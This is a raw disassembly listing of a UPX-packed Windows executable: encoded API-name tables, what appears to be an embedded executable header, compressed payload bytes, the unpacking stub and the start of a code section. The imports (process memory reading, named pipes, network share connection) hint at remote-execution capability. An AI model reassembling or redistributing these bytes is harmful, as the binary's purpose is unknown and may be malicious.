dd 54010065h, 736E6172h, 4E746361h, 64656D61h, 65706950h
dd 72430100h, 65746165h, 656C6946h, 57010041h, 46746961h
dd 6953726Fh, 656C676Eh, 656A624Fh, 1007463h, 4C746547h
dd 45747361h, 726F7272h, 72430100h, 65746165h, 6E657645h
dd 1004174h, 4D746547h, 6C75646Fh, 6C694665h, 6D614E65h
dd 1004165h, 54746547h, 46656D69h, 616D726Fh, 1004174h
dd 44746547h, 46657461h, 616D726Fh, 1004174h, 61657243h
dd 68546574h, 64616572h, 65470100h, 6C694674h, 7A695365h
dd 47010065h, 69467465h, 7441656Ch, 62697274h, 73657475h
dd 46010041h, 43646E69h, 65736F6Ch, 69460100h, 6954656Ch
dd 6F54656Dh, 74737953h, 69546D65h, 100656Dh, 656C6946h
dd 656D6954h, 6F4C6F54h, 466C6163h, 54656C69h, 656D69h
dd 6E694601h, 78654E64h, 6C694674h, 1004165h, 646E6946h
dd 73726946h, 6C694674h, 1004165h, 46746553h, 50656C69h
dd 746E696Fh, 1007265h, 7661654Ch, 69724365h, 61636974h
dd 6365536Ch, 6E6F6974h, 6E450100h, 43726574h, 69746972h
dd 536C6163h, 69746365h, 1006E6Fh, 74696E49h, 696C6169h
dd 7243657Ah, 63697469h, 65536C61h, 6F697463h, 646E416Eh
dd 6E697053h, 6E756F43h, 44010074h, 74656C65h, 69724365h
dd 61636974h, 6365536Ch, 6E6F6974h, 72460100h, 694C6565h
dd 72617262h, 47010079h, 6E457465h, 6F726976h, 6E656D6Eh
dd 72615674h, 6C626169h, 1005765h, 50746547h, 41636F72h
dd 65726464h, 1007373h, 64616F4Ch, 7262694Ch, 41797261h
dd 65480100h, 72467061h, 1006565h, 70616548h, 6F6C6C41h
dd 55010063h, 6E61686Eh, 64656C64h, 65637845h, 6F697470h
dd 6C69466Eh, 726574h, 72695601h, 6C617574h, 72657551h
dd 784579h, 61655201h, 6F725064h, 73736563h, 6F6D654Dh
dd 1007972h, 53746547h, 65747379h, 666E496Dh, 4F01006Fh
dd 506E6570h, 65636F72h, 1007373h, 4D746547h, 6C75646Fh
dd 6E614865h, 41656C64h, 6F460100h, 74616D72h, 7373654Dh
dd 41656761h, 6C470100h, 6C61626Fh, 6F6C6E55h, 1006B63h
dd 626F6C47h, 6F4C6C61h, 1006B63h, 616D6E55h, 65695670h
dd 46664F77h, 656C69h, 72655401h, 616E696Dh, 72506574h
dd 7365636Fh, 43010073h, 74616572h, 6C694665h, 70614D65h
dd 676E6970h, 53010041h, 69467465h, 6954656Ch, 100656Dh
dd 46746547h, 54656C69h, 656D69h, 65724301h, 50657461h
dd 65636F72h, 417373h, 70784501h, 45646E61h, 7269766Eh
dd 656D6E6Fh, 7453746Eh, 676E6972h, 1004173h, 46746553h
dd 41656C69h, 69727474h, 65747562h, 1004173h, 54746547h
dd 50706D65h, 41687461h, 65470100h, 69784574h, 646F4374h
dd 6F725065h, 73736563h, 65500100h, 614E6B65h, 5064656Dh
dd 657069h, 70754401h, 6163696Ch, 61486574h, 656C646Eh
dd 65470100h, 72754374h, 746E6572h, 636F7250h, 737365h
dd 65724301h, 50657461h, 657069h, 74654701h, 73726556h
dd 456E6F69h, 1004178h, 626F6C47h, 654D6C61h, 79726F6Dh
dd 74617453h, 1007375h, 74697845h, 636F7250h, 737365h
dd 64695701h, 61684365h, 4D6F5472h, 69746C75h, 65747942h
dd 65470100h, 6D6F4374h, 65747570h, 6D614E72h, 1004165h
dd 656C6544h, 69466574h, 41656Ch, 74654701h, 72727543h
dd 50746E65h, 65636F72h, 64497373h, 6F430100h, 69467970h
dd 41656Ch, 65724301h, 4D657461h, 78657475h, 54010041h
dd 696D7265h, 6574616Eh, 65726854h, 1006461h, 65766F4Dh
dd 656C6946h, 47010041h, 65567465h, 6F697372h, 5301006Eh
dd 6F437465h, 6C6F736Eh, 72744365h, 6E61486Ch, 72656C64h
dd 65470100h, 636F4C74h, 49656C61h, 416F666Eh, 65470100h
dd 676F4C74h, 6C616369h, 76697244h, 1007365h, 74696157h
dd 4D726F46h, 69746C75h, 4F656C70h, 63656A62h, 1007374h
dd 656E6547h, 65746172h, 736E6F43h, 43656C6Fh, 456C7274h
dd 746E6576h, 74520100h, 776E556Ch, 646E69h, 74654701h
dd 656D6954h, 656E6F5Ah, 6F666E49h, 74616D72h, 6E6F69h
dd 74654701h, 74737953h, 69546D65h, 100656Dh, 70616548h
dd 6C416552h, 636F6Ch, 74654701h, 72617453h, 49707574h
dd 416F666Eh, 65470100h, 6D6F4374h, 646E616Dh, 656E694Ch
dd 52010041h, 65736961h, 65637845h, 6F697470h, 4801006Eh
dd 44706165h, 72747365h, 100796Fh, 70616548h, 61657243h
dd 1006574h, 74726956h, 466C6175h, 656572h, 72695601h
dd 6C617574h, 6F6C6C41h, 49010063h, 64614273h, 74697257h
dd 72745065h, 65480100h, 69537061h, 100657Ah, 614D434Ch
dd 72745370h, 41676E69h, 434C0100h, 5370614Dh, 6E697274h
dd 1005767h, 43746547h, 666E4950h, 4701006Fh, 43417465h
dd 47010050h, 454F7465h, 50434Dh, 7D00h, 221D400h, 4E570100h
dd 64417465h, 6E6F4364h, 7463656Eh, 326E6F69h, 85000041h
dd 0DC000000h, 0FF000221h, 74FF000Bh, 73FF00h, 0FF0015FFh
dd 0DFF0002h, 1FF00h, 0FF0016FFh, 9FF0034h, 10FF00h, 0FF0013FFh
dd 97FF0012h, 17FF00h, 0FF000AFFh, 3FF0004h, 0
dd 45500000h, 14C0000h, 59BE0004h, 4660h, 0
dd 0E00000h, 10B010Fh, 18000006h, 56000002h, 6, 99D40000h
dd 10000001h, 30000000h, 2, 10000040h, 2000000h, 40000h
dd 0
dd 40000h, 0
dd 0A0000000h, 4000008h, 0D4300000h, 20003h, 0
dd 10000010h, 0
dd 10000010h, 0
dd 100000h, 2 dup(0)
dd 40E80000h, 500002h, 14h dup(0)
dd 30000000h, 2280002h, 6 dup(0)
dd 742E0000h, 747865h, 16840000h, 10000002h, 18000000h
dd 4000002h, 3 dup(0)
dd 200000h, 722E6000h, 61746164h, 1BE60000h, 30000000h
dd 1C000002h, 1C000000h, 2, 2 dup(0)
dd 400000h, 642E4000h, 617461h, 36580000h, 50000006h, 44000002h
dd 38000001h, 2, 2 dup(0)
dd 400000h, 732EC000h, 74616478h, 180061h, 90000000h, 2000008h
dd 7C000000h, 3, 2 dup(0)
dd 2400000h, 9000C000h, 43600008h, 98060002h, 61170008h
dd 0E539BB58h, 0DDE0F2D6h, 6FA33216h, 822B000Ah, 0A10F80B1h
dd 56D4619h, 20CA7711h, 6F5A82EBh, 0A31920E5h, 0F75D4582h
dd 957417C6h, 886ABD47h, 810C512Ch, 0B57F7DD1h, 9BA10741h
dd 6CD14887h, 0D9AA7B63h, 83176AC6h, 0B6A181CCh, 6E4152A7h
dd 0CD2333Ah, 80F0677h, 0A0276B8Dh, 4773D718h, 818CA322h
dd 8885FF69h, 2D8704C3h, 0D586DB43h, 0FF1F6805h, 0AB182A94h
dd 0A04B2099h, 0D0377F44h, 815C28B7h, 9A5F854Fh, 0E0ADA9DBh
dd 0E30227C9h, 656949C0h, 1BCD973Ch, 5A30F525h, 4264F41h
dd 5096EDCEh, 5013B32h, 46054326h, 0DF5B957Eh, 0F6436925h
dd 420EEFCDh, 170B067Ch, 64334B32h, 80DD00B8h, 4D5B185Dh
dd 42D08F5Dh, 1BA90940h, 0FF0B82B8h, 420C553h, 0B58141B4h
dd 60F33483h, 0E7CB029h, 9B96A4A8h, 6A035A6h, 3A44989Ch
dd 376C245Ch, 0E8E09B4h, 0EFF2443h, 0EE8428B1h, 0C9971A97h
dd 498020C4h, 8F5BD6F6h, 12656253h, 78007F6Eh, 6D7CA940h
dd 0C0C40B80h, 4B6141C8h, 651F0941h, 3EDB5480h, 8B27530Bh
dd 76A264E7h, 0DF60C519h, 0E4204673h, 50227328h, 0AFF801C3h
dd 60C58B54h, 4B8C96FDh, 3E032EC4h, 0AD429h, 72B2C2D1h
dd 2952972Eh, 436F2C62h, 22CDB82Ch, 68BBAA07h, 1F110361h
dd 0C979B72h, 49963503h, 506373D7h, 44DF1143h, 44B890BBh
dd 6D60C704h, 3135B45Bh, 5B674D57h, 1985D312h, 1128C245h
dd 4F88688Ah, 0A95557EFh, 638E4625h, 110E0008h, 248208D9h
dd 0C71974DFh, 17688236h, 44238FE7h, 0C1724032h, 6E4843AAh
dd 96881F93h, 9B750476h, 29670D97h, 0F7A7FC5h, 562C5578h
dd 5900E5B8h, 45477186h, 965957DFh, 0BCEAD150h, 0A2FB404Dh
dd 65321CC2h, 0AA30A773h, 588F244Ch, 20A8618Ch, 5B44E90Ch
dd 1F02101h, 31975AFh, 5A6B6661h, 1F822859h, 694446Dh
dd 3213C447h, 0A2968C6h, 5049F0Fh, 0A1933609h, 294976AFh
dd 716689B4h, 19B0D397h, 54E331A3h, 0CB00A73h, 0A3A6B0D1h
dd 304E82Dh, 2EB2F6Ch, 0E1651B41h, 315B9C83h, 6F7FEC4Dh
dd 73800DABh, 0E243FF0Eh, 0FFB12FF9h, 2AA70241h, 364680Ch
dd 0BF783040h, 0CA5310Fh, 0EB08404Fh, 8D340909h, 6FFF0140h
dd 408B7CFEh, 3D08B3Ch, 784803CAh, 8B20418Bh, 1C5903DAh
dd 69DB7C14h, 24575738h, 7981100Ch, 441320Ah, 4B0D27DFh
dd 74031533h, 14C51B2Ch, 523B14D0h, 0D0209FC3h, 0FDDBCA0Dh
dd 0A2C4B7D7h, 3F203F0h, 0E6774FAh, 71851B4Bh, 7524BE6h
dd 0C093B418h, 0E8C47F33h, 1752917h, 71EE8C3h, 807C17F8h
dd 0C34AEDA4h, 505D5B58h, 0FF54EC83h, 3D384027h, 8B40CF8Bh
dd 0B0AAF3D7h, 84F1AB44h, 5257F126h, 0B1E5151h, 0DFFA1A55h
dd 0C483A9A6h, 0C3C08554h, 0C30803B1h, 9CD92786h, 0D3206DC0h
dd 9027F10Dh, 0B15B58C3h, 54825B2Eh, 173F061Dh, 27AD9875h
dd 0EB7359BFh, 200417Ch, 0C81B3F7Dh, 8F176D0Eh, 3E98E601h
dd 501A23B7h, 61087B6h, 4C43857Ah, 223BB532h, 4C202803h
dd 48800F24h, 20841000h, 10803213h, 4320381h, 82100132h
dd 2032042Ch, 0AABB7702h, 17E209Ah, 659A0E01h, 102E4833h
dd 0D81403F8h, 3AD34D34h, 0D40E1D4Eh, 0D31BD01Ah, 0C8D34D34h
dd 0B813C01Fh, 4D34D34Dh, 0A80EB021h, 4D34A00Dh, 980F34D3h
dd 0D3059010h, 88D34D34h, 8012841Eh, 4D34D34Dh, 740C7C20h
dd 4D346C0Bh, 641534D3h, 0D3195C1Ch, 54D34D34h, 44184C11h
dd 4D34D34Dh, 34173C16h, 4D333022h, 2C2334D3h, 0D8012824h
dd 0F07C8E4Eh, 0FFF8007Fh, 786D1FEFh, 14A36ECh, 44100F80h
dd 7B04CC2Fh, 0D9302799h, 0E20741FDh, 0C1F67E1Ah, 41CA7C01h
dd 2D092007h, 5DD65D0Dh, 43E37A8Ah, 0CE080402h, 57B0EDE4h
dd 827982B6h, 0DFA62F21h, 0BDA5A10Fh, 81FCFC8Dh, 40FCE09Fh
dd 5EA8807Eh, 0A3DAA3C1h, 111EDC83h, 0FFE815Fh, 41B7B540h
dd 415F6086h, 0A2CFBEB6h, 215ECEE4h, 1AA2FFh, 0A2E8A2E5h
dd 13A17E5Bh, 4AFE0551h, 0DA06DDFEh, 5FBFDA5Eh, 32DA6ADAh
dd 0E0DED8D3h, 3B4D20F9h, 7E3173F9h, 2160601h, 0D8669A69h
dd 18040F03h, 69A40D05h, 906A69Ah, 20080C07h, 91906C3h
dd 0B00B370Ah, 0AE2EEF61h, 0AF0F0E76h, 79062710h, 611DA41h
dd 35212E12h, 0C320C836h, 5043411Fh, 0D86D867h, 532F521Bh
dd 82BF570Fh, 0A6868961h, 566D2F37h, 9A69A41Bh, 721C7020h
dd 0D86C5F06h, 67800C10h, 3F820F81h, 320C10CDh, 911F8483h
dd 8320D829h, 0A4A19E34h, 1821B0DFh, 3FB7A764h, 4EF33FCEh
dd 17D7C30Eh, 1F050718h, 0A41901C0h, 161D00BDh, 90199604h
dd 88D9A41h, 19018F8Eh, 91900190h, 9019018Ah, 2F039392h
dd 19AA05DBh, 18C18C0Ah, 81F8A779h, 57423BE6h, 90F3AF4h
dd 0A69A69A6h, 10A40AC8h, 69A6AA78h, 1248119Ah, 0A6BE1324h
dd 0F8C9DA69h, 190EC039h, 0AED31A98h, 1B609A69h, 0EF81C28h
dd 9A69A678h, 7938F065h, 58D07AE0h, 0FCB659DBh, 0FF93B08Eh
dd 0A872E01Eh, 3C1B355Ah, 0F5B1010Fh, 5AE860D1h, 228F0201h
dd 9768B602h, 15436501h, 112694F6h, 0A86BB218h, 7F35E60Ah
dd 3FF5E40h, 74D5D20Dh, 0B6187681h, 1447F08h, 8016164Fh
dd 0D4F1F070h, 0ACD0544Eh, 44500754h, 160ECB7Fh, 0A78F2C5Eh
dd 0D5B12E06h, 161FFF65h, 155A69A6h, 5A063BCEh, 0B2CD9778h
dd 0D4B59A69h, 300111F3h, 0D769A64Eh, 67016D36h, 7759063Ah
dd 9AAA69DAh, 0D354B496h, 0DA2F4EF2h, 6D35547h, 0A0416C4Dh
dd 0E4174002h, 0C8725E49h, 4008FA05h, 0E43F0C9Ch, 0C3509E49h
dd 12F4240Fh, 16989680h, 21F93FCFh, 19BEBC20h, 1BC9BF04h
dd 0FFA1348Eh, 0EDFFFFFFh, 0C21BCECCh, 20404ED3h, 70B59EF0h
dd 0C5ADA82Bh, 0D040699Dh, 0E525FD5Dh, 194F8E1Ah, 0FF4083EBh
dd 71FFFFFFh, 4395D796h, 298D050Eh, 0F9409EAFh, 0ED44A0BFh
dd 818F1281h, 0BF40B982h, 0CFA6D53Ch, 0FF1F49FFh, 78BFFFFFh
dd 0C66F4079h, 80E98CE0h, 93BA47C9h, 85BC41A8h, 3927556Bh
dd 0E070F78Dh, 0DDBC427Ch, 0FFFFFFFFh, 9DF9DE8Eh, 0AA7EEBFBh
dd 0E6A14351h, 0F2CCE376h, 81842F29h, 10284426h, 0AEF8AA17h
dd 0C4C5E310h, 0FFFFFFFFh, 0A7EB44FAh, 0EBF7F3D4h, 957A4AE1h
dd 0CC6545CFh, 0A60E91C7h, 0E319A0AEh, 650D46A3h, 81750C17h
dd 0FFFFFFFFh, 0C9767586h, 42584D48h, 3993A7E4h, 0B2B8353Bh
dd 0A74D53EDh, 0C53D5DE5h, 9E8B3B5Dh, 5DFF5A92h, 0FFFFFFFFh
dd 20A1F0A6h, 8CA554C0h, 0FDD16137h, 0D88B5A8Bh, 0F9895D25h
dd 95AA67DBh, 0BF27F3F8h, 0DD5DC8A2h, 0FFF8013Eh, 0C94C6E80h
dd 8A20979Bh, 0C4605202h, 0CCCD2625h, 0EDFFBFFFh, 3FFB0103h
dd 0D70A3D71h, 0F80870A3h, 3B645A3Fh, 978D4FDFh, 0FFFF126Eh
dd 0F583FFFFh, 2CD3C33Fh, 58E21965h, 0F1D1B717h, 230FD03Fh
dd 471B4784h, 0EEA7C5ACh, 0B6A6403Fh, 0FFFF6C69h, 5AFFFFFh
dd 0EB8637BDh, 0BC3D333Fh, 0D5E57A42h, 0E7D6BF94h, 0FDFDC23Fh
dd 118461CEh, 0E4ABCC77h, 0FFFF2F3Fh, 5B4CFFFFh, 0BEC44DE1h
dd 0C9E69594h, 53C4923Fh, 0CD44753Bh, 0AF9ABE14h, 0BA67DE3Fh
dd 0AD453994h, 0FFFFB11Eh, 94CFFFFFh, 0C623243Fh, 3BBABCE2h
dd 7A8B6131h, 5955613Fh, 53B17EC1h, 5FBB127Ch, 2FEED73Fh
dd 0FFFF068Dh, 92BEFDFFh, 44FB1585h, 0E9A53F47h, 0EA27A539h
dd 3F2AA87Fh, 0E4A1AC7Dh
dd 467C64BCh, 0FF55DDD0h, 3EFFFFFFh, 0CC067B63h, 83775423h
dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
dd 0FF974782h, 0B8FFFFFFh, 3BD7FD00h, 85888DCh, 0E3E8B11Bh
dd 3B03A686h, 424584C6h, 7599B607h, 3A2EDB37h, 0FF1C7133h
dd 0D2FFFFFFh, 0EE32DB23h, 395A9049h, 0C0BE87A6h, 82A5DA57h
dd 32B5A2A6h, 11B268E2h, 449F52A7h, 0FF10B759h, 2CFFFFFFh
dd 2DE44925h, 534F3436h, 256BCEAEh, 0A404598Fh, 7DC2DEC0h
dd 1EC6E8FBh, 5A88E79Eh, 0FE3C9157h, 0BFFFFFBFh, 18228350h
dd 62654B4Eh, 0AF8F83FDh, 117D9406h, 0CE9FDE5Bh, 0DD04C8D2h
dd 120AD8A6h, 2E00D996h, 9C00071Ch, 4F564189h, 6069F40h
dd 2E2FCD7Bh, 0E95B585Fh, 0F540A049h, 593F003Ah, 1794BFC2h
dd 5F666F5Fh, 0D8D89492h, 1A7F4118h, 4E7685A1h, 4C318781h
dd 5F7E142Dh, 449F3822h, 57ADB104h, 6235144h, 902A00A9h
dd 20540150h, 40A802A1h, 81500542h, 2A00A84h, 5401409h
dd 0A802812h, 15005024h, 2A00A148h, 54014290h, 0A8028420h
dd 50050940h, 0A00A1281h, 40142402h, 80284805h, 50900Ah
dd 0A12015h, 142402Ah, 2848154h, 50902A8h, 0A120550h, 14240AA0h
dd 28481540h, 50902A80h, 0A1205400h, 4240A800h, 84815001h
dd 902A002h, 12054005h, 240A800Ah, 48150014h, 0B4504728h
dd 41700950h, 203FFFC0h, 4D010002h, 69567061h, 664F7765h
dd 23ADA4B5h, 0F2B30112h, 4DA45DEEh, 1F336548h, 82069853h
dd 568945C0h, 4457B8h, 414F6274h, 0DF01031h, 61727408h
dd 0D911BB43h, 71411F57h, 0B1FC0192h, 7349AD64h, 10646142h
dd 0E6ABB0ADh, 31B3F50h, 88277D69h, 6E55521Ah, 0CB0A16DBh
dd 1D45643Ah, 412F76Ch, 386574D8h, 0A9B286E8h, 73F50104h
dd 82DB005Dh, 4864C9FBh, 0C8E55F5Eh, 886D8AD0h, 0CD411F57h
dd 7ABBB6D6h, 9075391Ah, 325EE015h, 103A2480h, 0D5836F62h
dd 2F57738Bh, 40EC12C1h, 5F65D932h, 8080D431h, 6B2E4172h
dd 3BB44096h, 840454A9h, 0F5F54C1Dh, 6221808h, 6F9601EBh
dd 0CD550CC4h, 0E0706C53h, 0A70B5A68h, 0A1182C36h, 0C1EB490Ch
dd 4802Bh, 0D06DC56Ch, 2D12BC04h, 0D87942DCh, 8C062EE1h
dd 0B9646957h, 414B2D7h, 37FC38ACh, 20706ED8h, 59570135h
dd 0F7002F4Fh, 61F80364h, 85C38A5h, 69530A65h, 28D2CB80h
dd 5AC80308h, 9944BB82h, 0E020BA53h, 0F29525C2h, 935B0E18h
dd 76455F19h, 203320Ch, 36FD2B16h, 80EED838h, 464827AAh
dd 0B61847BEh, 0C4441BB1h, 266B831Fh, 9A117C98h, 137A6953h
dd 13330E74h, 0C4657902h, 0E0C1B3B8h, 3C9E8D21h, 0B061B436h
dd 3FE930DBh, 0FB6D2B16h, 1D419636h, 78654E73h, 3B7C1DA5h
dd 0DF07B8F6h, 50D9531Fh, 88A696Fh, 4C315700h, 7602431Eh
dd 0DA410248h, 5F093629h, 0C62B38C2h, 49980921h, 0DF71C2A5h
dd 0C74135D0h, 9A17053h, 0B6D8DAB1h, 176AA766h, 919CE041h
dd 0E409AA90h, 6F57471Dh, 1002B050h, 0ED6F3E6Dh, 5FED8F56h
dd 8E961E6Bh, 8406E913h, 2715F080h, 0E98AE041h, 1DAEED56h
dd 39F92397h, 21012B57h, 914D1878h, 5C04116Fh, 1D2F089Ah
dd 126B1408h, 6B64CF75h, 0FEA9ED85h, 6010CB9Dh, 761ED1BBh
dd 579060ACh, 1B6B0E01h, 175B174Ch, 6D275E01h, 0D28A5421h
dd 0BD6D6DC2h, 2AE91509h, 0DB7076C0h, 0DB6D595h, 5B194776h
dd 82630979h, 2A70704Ah, 8380533Fh, 3EA18051h, 0BAB070C9h
dd 1AF1821Ch, 14ABD388h, 3B1D900Ch, 11456B65h, 0A10200CAh
dd 80408032h, 8285B643h, 5F83531Dh, 643B703Ch, 9B3FB00h
dd 33D21B01h, 5ED6A8CBh, 776E8DBBh, 0AA96C083h, 0C7AD81D1h
dd 206D308h, 0ABAAF91h, 7999ED16h, 34D84905h, 619667DDh
dd 0C93E7970h, 4C627C4Dh, 0E3041869h, 608C33EBh, 937699EDh
dd 1435D5Bh, 82000DACh, 0A4F05D75h, 0F772DD56h, 0C7B80825h
dd 40643265h, 3B44835Ah, 6F766084h, 6E520B40h, 0AAABEE81h
dd 755728A3h, 77587400h, 974DD91Eh, 475A6124h, 0BA2DAEC1h
dd 211A0D15h, 0D693CF3Ah, 0D36D1A2Dh, 0AD6C936h, 2271F56h
dd 95577070h, 52AEA94Ch, 0C8934B60h, 867D0F8Ah, 520A36Dh
dd 76964519h, 9835D34Ah, 708CB19h, 7EAA108Ch, 0DC02F441h
dd 4C516AACh, 0AAF45043h, 1B3136C4h, 0D850436Fh, 87DB5D9Eh
dd 0F174114h, 124D454Fh, 4227D00h, 0D4495794h, 0DE69B721h
dd 853BDBAAh, 50BFFDCh, 96596596h, 2157374h, 9659010Dh
dd 34165965h, 6B131009h, 12659659h, 40A1797h, 410DC050h
dd 0C2E100F2h, 4CB606DFh, 59BE1F01h, 21334660h, 0E0FEE04Ch
dd 0B010F00h, 42110601h, 6B41AF91h, 0D4620656h, 0AC2D0199h
dd 230CB6Dh, 4141740h, 77770F67h, 0A018B647h, 0C1D43008h
dd 0FE045052h, 0F6B6910h, 40E8BC0Dh, 42500002h, 304201BEh
dd 0DE0228AFh, 2EB8020Ch, 1C16844Dh, 48D3415Bh, 5991810h
dd 82E720h, 722E60BCh, 0B51BE6A7h, 0A76F358Bh, 0B11C1C00h
dd 2C2E0440h, 4D97E59Bh, 636584Fh, 38014450h, 94FB30F3h
dd 78732EC0h, 90561853h, 3EC5CAFBh, 4F037C44h, 43603602h
dd 49249211h, 89806F8h, 50000000h, 0FF49h, 2 dup(0)
; ---------------------------------------------------------------------------
pusha
mov esi, offset dword_473000
lea edi, [esi-72000h]
push edi
or ebp, 0FFFFFFFFh
jmp short loc_48B762
; ---------------------------------------------------------------------------
align 8
loc_48B758: ; CODE XREF: UPX1:loc_48B769j
mov al, [esi]
inc esi
mov [edi], al
inc edi
loc_48B75E: ; CODE XREF: UPX1:0048B80Aj
; UPX1:0048B821j
add ebx, ebx
jnz short loc_48B769
loc_48B762: ; CODE XREF: UPX1:0048B750j
mov ebx, [esi]
sub esi, 0FFFFFFFCh
adc ebx, ebx
loc_48B769: ; CODE XREF: UPX1:0048B760j
jb short loc_48B758
mov eax, 1
loc_48B770: ; CODE XREF: UPX1:0048B79Aj
add ebx, ebx
jnz short loc_48B77B
mov ebx, [esi]
sub esi, 0FFFFFFFCh
adc ebx, ebx
loc_48B77B: ; CODE XREF: UPX1:0048B772j
adc eax, eax
add ebx, ebx
jnb short loc_48B78C
jnz short loc_48B79C
mov ebx, [esi]
sub esi, 0FFFFFFFCh
adc ebx, ebx
jb short loc_48B79C
loc_48B78C: ; CODE XREF: UPX1:0048B77Fj
dec eax
add ebx, ebx
jnz short loc_48B798
mov ebx, [esi]
sub esi, 0FFFFFFFCh
adc ebx, ebx
loc_48B798: ; CODE XREF: UPX1:0048B78Fj
adc eax, eax
jmp short loc_48B770
; ---------------------------------------------------------------------------
loc_48B79C: ; CODE XREF: UPX1:0048B781j
; UPX1:0048B78Aj
xor ecx, ecx
sub eax, 3
jb short loc_48B7B4
shl eax, 8
mov al, [esi]
inc esi
xor eax, 0FFFFFFFFh
jz short loc_48B826
sar eax, 1
mov ebp, eax
jmp short loc_48B7BF
; ---------------------------------------------------------------------------
loc_48B7B4: ; CODE XREF: UPX1:0048B7A1j
add ebx, ebx
jnz short loc_48B7BF
mov ebx, [esi]
sub esi, 0FFFFFFFCh
adc ebx, ebx
loc_48B7BF: ; CODE XREF: UPX1:0048B7B2j
; UPX1:0048B7B6j
adc ecx, ecx
add ebx, ebx
jnz short loc_48B7CC
mov ebx, [esi]
sub esi, 0FFFFFFFCh
adc ebx, ebx
loc_48B7CC: ; CODE XREF: UPX1:0048B7C3j
adc ecx, ecx
jnz short loc_48B7F0
inc ecx
loc_48B7D1: ; CODE XREF: UPX1:0048B7E0j
; UPX1:0048B7EBj
add ebx, ebx
jnz short loc_48B7DC
mov ebx, [esi]
sub esi, 0FFFFFFFCh
adc ebx, ebx
loc_48B7DC: ; CODE XREF: UPX1:0048B7D3j
adc ecx, ecx
add ebx, ebx
jnb short loc_48B7D1
jnz short loc_48B7ED
mov ebx, [esi]
sub esi, 0FFFFFFFCh
adc ebx, ebx
jnb short loc_48B7D1
loc_48B7ED: ; CODE XREF: UPX1:0048B7E2j
add ecx, 2
loc_48B7F0: ; CODE XREF: UPX1:0048B7CEj
cmp ebp, 0FFFFFB00h
adc ecx, 1
lea edx, [edi+ebp]
cmp ebp, 0FFFFFFFCh
jbe short loc_48B810
loc_48B801: ; CODE XREF: UPX1:0048B808j
mov al, [edx]
inc edx
mov [edi], al
inc edi
dec ecx
jnz short loc_48B801
jmp loc_48B75E
; ---------------------------------------------------------------------------
align 10h
loc_48B810: ; CODE XREF: UPX1:0048B7FFj
; UPX1:0048B81Dj
mov eax, [edx]
add edx, 4
mov [edi], eax
add edi, 4
sub ecx, 4
ja short loc_48B810
add edi, ecx
jmp loc_48B75E
; ---------------------------------------------------------------------------
loc_48B826: ; CODE XREF: UPX1:0048B7ACj
pop esi
mov edi, esi
mov ecx, 0D75h
loc_48B82E: ; CODE XREF: UPX1:0048B835j
; UPX1:0048B83Aj
mov al, [edi]
inc edi
sub al, 0E8h
loc_48B833: ; CODE XREF: UPX1:0048B858j
cmp al, 1
ja short loc_48B82E
cmp byte ptr [edi], 12h
jnz short loc_48B82E
mov eax, [edi]
mov bl, [edi+4]
shr ax, 8
rol eax, 10h
xchg al, ah
sub eax, edi
sub bl, 0E8h
add eax, esi
mov [edi], eax
add edi, 5
mov eax, ebx
loop loc_48B833
lea edi, [esi+89000h]
loc_48B860: ; CODE XREF: UPX1:0048B882j
mov eax, [edi]
or eax, eax
jz short loc_48B8AB
mov ebx, [edi+4]
lea eax, [eax+esi+8B000h]
add ebx, esi
push eax
add edi, 8
call dword ptr [esi+8B050h]
xchg eax, ebp
loc_48B87D: ; CODE XREF: UPX1:0048B8A3j
mov al, [edi]
inc edi
or al, al
jz short loc_48B860
mov ecx, edi
jns short near ptr loc_48B88E+1
movzx eax, word ptr [edi]
inc edi
push eax
inc edi
loc_48B88E: ; CODE XREF: UPX1:0048B886j
mov ecx, 0AEF24857h
push ebp
call dword ptr [esi+8B054h]
or eax, eax
jz short loc_48B8A5
mov [ebx], eax
add ebx, 4
jmp short loc_48B87D
; ---------------------------------------------------------------------------
loc_48B8A5: ; CODE XREF: UPX1:0048B89Cj
call dword ptr [esi+8B058h]
loc_48B8AB: ; CODE XREF: UPX1:0048B864j
popa
jmp _WinMainCRTStartup
; ---------------------------------------------------------------------------
align 800h
UPX1 ends
; Section 3. (virtual address 0008C000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00001000 ( 4096.)
; Offset to raw data for section: 0008C000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
UPX2 segment para public 'DATA' use32
assume cs:UPX2
;org 48C000h
dd 3 dup(0)
dd 8C070h, 4 dup(0)
dd 8C07Dh, 4 dup(0)
dd 8C085h, 6 dup(0)
dd 0AA7295h, 0AA6865h, 0AA75EFh, 0AA7232h, 71B2ACCBh, 0AA7204h
dd 71AB1A6Dh, 0AA7177h, 4E52454Bh, 32334C45h, 4C4C442Eh
dd 52504D00h, 6C6C642Eh, 32535700h, 2E32335Fh, 6C6C64h
dd 3DCh dup(0)
UPX2 ends
; ---------------------------------------------------------------------------
; Section 4. (virtual address 0008D000)
; Virtual size : 00050000 ( 327680.)
; Section size in file : 00050000 ( 327680.)
; Offset to raw data for section: 0008D000
; Flags E0000020: Text Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_text segment para public 'CODE' use32
assume cs:_text
;org 48D000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+10h]
push eax
call sub_4C85E1
add esp, 4
mov [ebp-8], eax
mov ecx, [ebp-8]
mov [ebp-4], ecx
mov edx, [ebp+0Ch]
push edx
mov eax, [ebp-4]
push eax
mov ecx, [ebp+8]
push ecx
call sub_48D089
add esp, 0Ch
mov edx, [ebp+0Ch]
push edx
mov eax, [ebp+8]
push eax
mov ecx, [ebp-4]
push ecx
call sub_48D2A6
add esp, 0Ch
mov edx, [ebp+0Ch]
mov eax, [edx]
push eax
mov ecx, [ebp-4]
push ecx
mov edx, [ebp+8]
push edx
call sub_48D396
add esp, 0Ch
mov eax, [ebp+10h]
push eax
mov ecx, [ebp+0Ch]
push ecx
mov edx, [ebp+8]
push edx
mov eax, [ebp-4]
push eax
call sub_48EAE0
add esp, 10h
mov ecx, [ebp-4]
mov [ebp-0Ch], ecx
mov edx, [ebp-0Ch]
push edx
call sub_4C85D6
add esp, 4
mov al, 1
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_48D089(void *Src,int,int)
sub_48D089 proc near ; CODE XREF: .text:0048D027p
; .text:0048D4A8p
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
